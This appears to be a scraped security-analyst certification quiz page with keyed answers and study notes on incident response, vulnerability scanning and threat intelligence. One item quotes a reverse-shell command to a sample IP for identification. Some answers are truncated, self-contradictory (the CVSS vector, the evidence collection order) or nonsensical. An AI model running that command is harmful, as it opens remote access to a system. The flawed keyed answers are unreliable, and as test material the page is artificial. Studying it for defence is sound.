Cybersecurity Vulnerability Assessment Quiz

Questions and Answers

Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?

Include a table of contents outlining the entire report

Include references and sources of information on the first page

Determine the sophistication of the audience that the report is meant for (correct)

Decide on the color scheme that will effectively communicate the metrics

Which of the following actions would allow the analyst to gather intelligence without disclosing information to the attackers?

Send the binaries to the antivirus vendor

Upload the binary to an air-gapped sandbox for analysis (correct)

Execute the binaries on an environment with internet connectivity

Query the file hashes using VirusTotal

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

QVVASP

OSSTMM

SOAR (correct)

SIEM

Which of the following risk management principles did the CISO select after refusing a software request due to a high risk score?

Avoid Signup and view all the answers

Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

Identify any improvements or changes in the incident response plan or procedures Signup and view all the answers

Which of the following will best achieve the goal of consolidating several threat intelligence feeds?

Single pane of glass Signup and view all the answers

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

MITRE ATT&CK Signup and view all the answers

Which of the following steps of the process does isolating and actively removing a vulnerability from the system describe?

Eradication Signup and view all the answers

Which of the following would be the best action for the incident response team to recommend regarding Joe's situation?

Perform no action until HR or legal counsel advises on next steps Signup and view all the answers

Which is the best priority based on common attack frameworks for a zero-trust approach?

Reduce the administrator and privileged access accounts Signup and view all the answers

Which of the following actions should the analyst take first to understand the recent security incident?

Clone the virtual server for forensic analysis Signup and view all the answers

Which of the following is the most likely explanation for outgoing HTTPS connections from a server during and after hours?

C2 beaconing activity Signup and view all the answers

Which of the following will most likely ensure new employees are accountable for following the company policy regarding personal webcams?

All new employees must sign a user agreement to acknowledge the company security policy Signup and view all the answers

Which of the following would be the best threat intelligence source to learn about a new ransomware campaign?

Information sharing organization Signup and view all the answers

Which of the following is the most likely reason to include lessons learned in an after-action report?

To identify areas of improvement in the incident response process Signup and view all the answers

According to the vulnerability management team's third-party scoring system, which vulnerabilities should be patched first?

InLoud: Cobain: Yes, Grohl: No, Novo: Yes, Smear: Yes, Channing: No Signup and view all the answers

What has the user become by downloading malware that infects other systems?

Insider threat Signup and view all the answers

What should the CSIRT conduct next after a security analyst has isolated a compromised server?

Take a snapshot of the compromised server and verify its integrity Signup and view all the answers

During an incident, which must be collected first in a computer system related to its volatility level?

Running processes Signup and view all the answers

Which shell script function could help identify possible network addresses from different source networks belonging to the same company?

function x() { b=\ Signup and view all the answers

Which of the following functions would help identify IP addresses from the same country?

function x() { info=\ Signup and view all the answers

Which action should be completed first to remediate findings from a web server vulnerability assessment?

Perform proper sanitization on all fields Signup and view all the answers

What is the most likely vulnerability when observing the debugger command output?

Hard-coded credential Signup and view all the answers

Which is the best action to take immediately when ransomware affects a web server?

Quarantine the server Signup and view all the answers

Which would be missing from a vulnerability scan performed with just the configuration settings?

Registry key values Signup and view all the answers

Which method should be used to resolve an incomplete list of vulnerability findings reported?

Credentialed scan Signup and view all the answers

What best describes the activity observed by the analyst while reviewing SIEM logs?

Data exfiltration Signup and view all the answers

Which best describes the output analyzed during a PCI audit?

The host is allowing insecure cipher suites Signup and view all the answers

Which of the following CVE metrics would be most accurate for a zero-day vulnerability that requires no user interaction, has significant impact on confidentiality and integrity, but not on availability?

CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/I: H/A: L Signup and view all the answers

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

DLP Signup and view all the answers

Which of the following tuning recommendations should a security analyst share after a web application vulnerability assessment?

Configure an Access-Control-Allow-Origin header to authorized domains Signup and view all the answers

Which of the following items should be included in a vulnerability scan report? (Choose two)

Risk score Signup and view all the answers

Which of the following would best protect an organization from exploitation occurring approximately 45 days after a patch was released?

A mean time to remediate of 30 days Signup and view all the answers

Given a production script, which scripting language is most likely being used?

Python Signup and view all the answers

Which of the following most likely describes the activity of user accounts compromised with intermittent access to the company's internal portal?

An on-path attack is being performed by someone with internal access that forces users into port 80 Signup and view all the answers

Which of the following items should be included in a vulnerability scan report? (Choose two)

Affected hosts Signup and view all the answers

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

Disaster recovery plan Signup and view all the answers

Which of the following solutions will assist in reducing the risk of shadow IT in the enterprise?

Deploy a CASB and enable policy enforcement Signup and view all the answers

Which of the following logs should an incident response team review first after a DDoS attack?

DNS Signup and view all the answers

What stage of the Cyber Kill Chain is a threat actor likely in after gaining access to an internal network via social engineering?

Exploitation Signup and view all the answers

An analyst finds that an IP address outside of the company network is running vulnerability scans against external-facing assets. Which step of an attack framework is being observed?

Reconnaissance Signup and view all the answers

What best describes the emails targeting only administrators with concealed URLs?

Obfuscated links Signup and view all the answers

Which of the following recommendations would best mitigate recurring vulnerabilities in a critical application if applied during the SDLC phase?

Use application security scanning as part of the pipeline for the CI/CD flow Signup and view all the answers

What inhibitors to remediation are represented by systems that cannot be upgraded due to a vendor appliance not accessible?

Proprietary systems Signup and view all the answers

What accurately describes the results of a Nmap scan that identifies XSS vulnerabilities?

The vulnerable parameter and characters '>' and '"' with a reflected XSS attempt Signup and view all the answers

Which action is best after concluding a security incident to improve future incident response?

Schedule a review with all teams to discuss what occurred Signup and view all the answers

What is the best technique to analyze a malicious binary file?

Reverse engineering Signup and view all the answers

What should be collected first to preserve sensitive information before isolating a compromised server?

Hard disk Signup and view all the answers

Which security operations tasks are ideal for automation?

Email header analysis Signup and view all the answers

Which group should an organization report a breach of customer transactions to under PCI DSS?

Card issuer Signup and view all the answers

What is the best metric for an organization focusing on recent investments in SIEM, SOAR, and a ticketing system?

Mean time to detect Signup and view all the answers

What implication should be considered when a company transitions its vulnerability management program to a hybrid IaaS cloud environment?

Cloud-specific misconfigurations may not be detected by the current scanners Signup and view all the answers

What processes should be followed to address a security alert triggered from a user accessing a prohibited website?

Create a timeline of events detailing the date stamps, user account hostname, and IP information associated with the activities Signup and view all the answers

What is the first step that should be performed when establishing a disaster recovery plan?

Agree on the goals and objectives of the plan Signup and view all the answers

What should a technician do next after identifying a vulnerability on a server and applying a software patch?

Validation Signup and view all the answers

What occurred according to a review of an endpoint log entry?

New account introduced Signup and view all the answers

What best describes a security program achieving a 30% improvement in MTTR by integrating security controls into a SIEM?

Single pane of glass Signup and view all the answers

Given the output from an Nmap scan, which device should an analyst investigate first?

wh4dc-748gy.lan (192.168.86.152) Signup and view all the answers

What is the first action that must be taken when starting an investigation?

Secure the scene Signup and view all the answers

Which action should a CSIRT lead take when determining communication during a security incident?

Review what is documented in the incident response policy or plan Signup and view all the answers

Which source will produce the data needed for an executive briefing on possible threats to the organization?

Indicators of compromise Signup and view all the answers

What best describes internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP?

Beaconing Signup and view all the answers

What can a security analyst perform to see the contents of files downloaded in an FTP session during a Wireshark analysis?

Change the display filter to ftp-data and follow the TCP streams Signup and view all the answers

What document should a SOC manager review to ensure the team meets contractual obligations after a customer vulnerability report?

SLA Signup and view all the answers

Which phase of the Cyber Kill Chain involves the adversary trying to establish communication with a targeted object?

Command and control Signup and view all the answers

Which vulnerability scanning method would best suit a company with a dynamic IP and a diverse workforce?

Agent-based Signup and view all the answers

Analyzing the command 'sh -i >& /dev/udp/10.1.1.1/4821 0>&1', what is being attempted?

Reverse shell Signup and view all the answers

What factor is likely the reason for a CVE score escalation from 7.1 to 9.8 due to a widely available exploit?

Weaponization Signup and view all the answers

Which server should be prioritized for patching based on vulnerability report entries?

54.74.110.26 Signup and view all the answers

What scanning method can reduce access to sensitive systems while providing accurate vulnerability results?

Credentialed network scanning Signup and view all the answers

What shell function can be used to identify network routing anomalies most accurately?

function x() { info= $(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short) && echo "$1 | $info" } Signup and view all the answers

What controls would best support a company's security posture against threats of sensitive information disclosure via file sharing?

Access control restrictions Signup and view all the answers

Study Notes

Vulnerability and Cybersecurity Metrics

Recent zero-day vulnerabilities can be accurately rated using CVSS metrics reflective of their impact on confidentiality and integrity.
Understanding CVSS attributes such as Attack Vector (AV), Access Complexity (AC), and User Interaction (UI) is crucial for assessment.
Metrics like Mean Time To Detect (MTTD) and Mean Time To Remediate (MTTR) inform security success in patch management and incident response.

Tools for Data Protection

Data Loss Prevention (DLP) tools significantly mitigate the risk of exposing Personally Identifiable Information (PII).
Authentication methods like Multi-Factor Authentication (MFA) strengthen access control but may not prevent data leaks.

Web Application Security

Implementing HTTP security features like the HttpOnly flag and X-Frame-Options is vital to prevent vulnerabilities.
Access-Control-Allow-Origin headers must be configured correctly to minimize cross-origin risks.

Incident Response and Vulnerability Scanning

Reports from vulnerability scans should include affected hosts and risk scores to prioritize remediation.
Successful incident management relies on having a Business Continuity Plan (BCP) and a Disaster Recovery Plan (DRP) to respond to incidents effectively.

Shadow IT and Application Security

Deploying a Cloud Access Security Broker (CASB) helps manage risks from shadow IT by enforcing compliance and visibility over cloud applications.
Continuous monitoring and evaluation of vulnerabilities in public cloud environments are essential for security.

Attack Frameworks and Kill Chain

Understanding the Cyber Kill Chain phases aids in defending against attacks; recognizing each stage can enhance defenses.
Being able to identify reconnaissance activities signifies potential pre-attack behaviors.

Email Security Threats

Threats like social engineering attacks target administrators through targeted emails with concealed URLs.
Monitoring email traffic is vital to detect anomalies and emerging phishing campaigns.

Security Automation and Metrics

Automation in security operations improves efficiency for tasks such as firewall IoC blocking and suspicious file analysis.
Establishing key performance indicators such as Mean Time To Detect helps gauge the effectiveness of security investments.

Incident Investigation Compliance

Ensuring privacy during investigations is essential; maintaining user anonymity by password protecting evidence supports compliance with HR policies.
First responders must secure the scene and establish protocols for evidence collection.

Vulnerability Management Considerations

Transitioning to a hybrid cloud environment requires assessing cloud-specific misconfigurations that existing tools may miss.
Conducting credentialed scans can yield accurate results while minimizing access to sensitive data.

Improvement Post-Incident

Reviews post-incident are crucial for refining future responses and often involve cross-team collaborations to assess effectiveness.
Incorporating insight into incident reports not only prepares for future breaches but also ensures organizational learning.

Security Control Implementation

Training employees on data handling and sharing can significantly improve awareness of risks linked to file sharing services.
Establishing robust authentication procedures can help safeguard sensitive data against unauthorized access.

Executive Communication

Effective executive communications should focus on curated data from risk assessments, ensuring audiences are adequately informed.
Communication guidelines during incidents should follow established policies for transparency while protecting sensitive information.

Automated Tools and Frameworks

Implementing Security Orchestration, Automation and Response (SOAR) solutions can minimize human errors and streamline security processes.
Analyzing security tasks through automated frameworks enhances operational efficiency and reduces response times.

Risk Management Decisions

Decisions on software requests must consider principles like risk avoidance to ensure organizational safety and compliance.
Evaluating potential software risks involves balancing acceptance and transfer strategies according to organizational tolerance for vulnerabilities.### Incident Response and Security Procedures
Improve incident response plans to enhance effectiveness.
Identify and rectify any internal mistakes, focusing on accountability.
Assemble legal evidence for law enforcement to aid potential prosecutions.
Evaluate financial impact to assess the viability of security investments.

Threat Intelligence Management

Consolidate threat intelligence feeds through a single pane of glass for efficiency.
Security analysts rely on the MITRE ATT&CK framework for comparing TTPs among adversaries.
Utilize data enrichment and deduplication to streamline threat data analysis.

Incident Remediation Phases

Eradication step involves isolating and removing vulnerabilities from a system.
Decision-making for suspected insider threats should consult HR or legal counsel before actions.

Zero-Trust Approach Implementation

Prioritize reducing privileged access accounts to strengthen defenses against attacks.

Incident Analysis and Forensic Procedures

Clone compromised servers for forensic analysis before initiating any recovery processes.
Analyze logs for potential indicators of compromise rather than restoring immediately.

Outbound Network Traffic Analysis

Regular unwanted outgoing HTTPS traffic may suggest command and control (C2) beaconing activity or data exfiltration.

Employee Compliance with Security Policies

Ensure new employees acknowledge company security policies through user agreements or testing.

Threat Intelligence Sources

Preferred intelligence source for assessing ransomware threats includes information-sharing organizations.

After-Action Reports Post-Incident

Compile lessons learned post-incident to improve overall incident response frameworks.

Vulnerability Management Prioritization

Use severity scores to prioritize patching of vulnerabilities, focusing on the most critical first.

User Behavior and Threat Classification

Users inadvertently downloading malware can be classified as insider threats.

CSIRT Protocol Following a Compromise

Upon isolating a compromised server, the next step is taking a snapshot to assess integrity.

Evidence Collection in Incident Response

Collect volatile data first, such as running processes, to preserve crucial evidence.

Shell Scripting for Network Address Identification

Utilize specific shell script functions to identify potential IP addresses from the same source network.

Remediation of Web Server Vulnerabilities

Perform sanitization on all fields rather than simply updating content or improving access controls.

Vulnerability and Exploit Investigation

Look for signs of SQL injection vulnerabilities in suspicious log entries to validate exploit attempts.

Handling of Obsolete Security Devices

Decommission unutilized proxies with high CVE scores to eliminate security risks.

Incident Reporting Accuracy

Maintaining a well-defined event timeline is essential for producing accurate incident response reports.

Mitigation of Scanning Activities

Geoblocking or IP range blocking can help neutralize unwanted scanning activity from external sources.

Evidence Preservation in Investigations

Creating a forensic image of devices and imposing legal holds ensures evidence integrity during investigations.

Remediation Priorities in Vulnerability Management

Address vulnerabilities based on their exploitability and the business impact they pose.

Validating Vulnerabilities in Web Applications

Security analysts validate potential false positives in vulnerability scans by examining for specific types like XSS.

Immediate Actions During Ransomware Incidents

Quarantine affected servers immediately to prevent lateral movement of ransomware.

Network Scan Implementation

Credentialed scans yield more comprehensive vulnerability assessments by revealing detailed system configurations.

SIEM Log Monitoring

Consistent requests to blocklisted external servers from internal hosts may indicate data exfiltration or rogue device activity.

Analysis of PCI Audit Outputs

Network mapping shows compliance issues such as insecure cipher suites or closed ports, impacting overall security posture.

Studying That Suits You

Use AI to generate personalized quizzes and flashcards to suit your learning preferences.

Description

Test your knowledge on zero-day vulnerabilities and CVSS metrics. This quiz covers scenarios where vulnerabilities are actively exploited and their impacts on confidentiality, integrity, and availability. Understand how to assess and classify these threats effectively.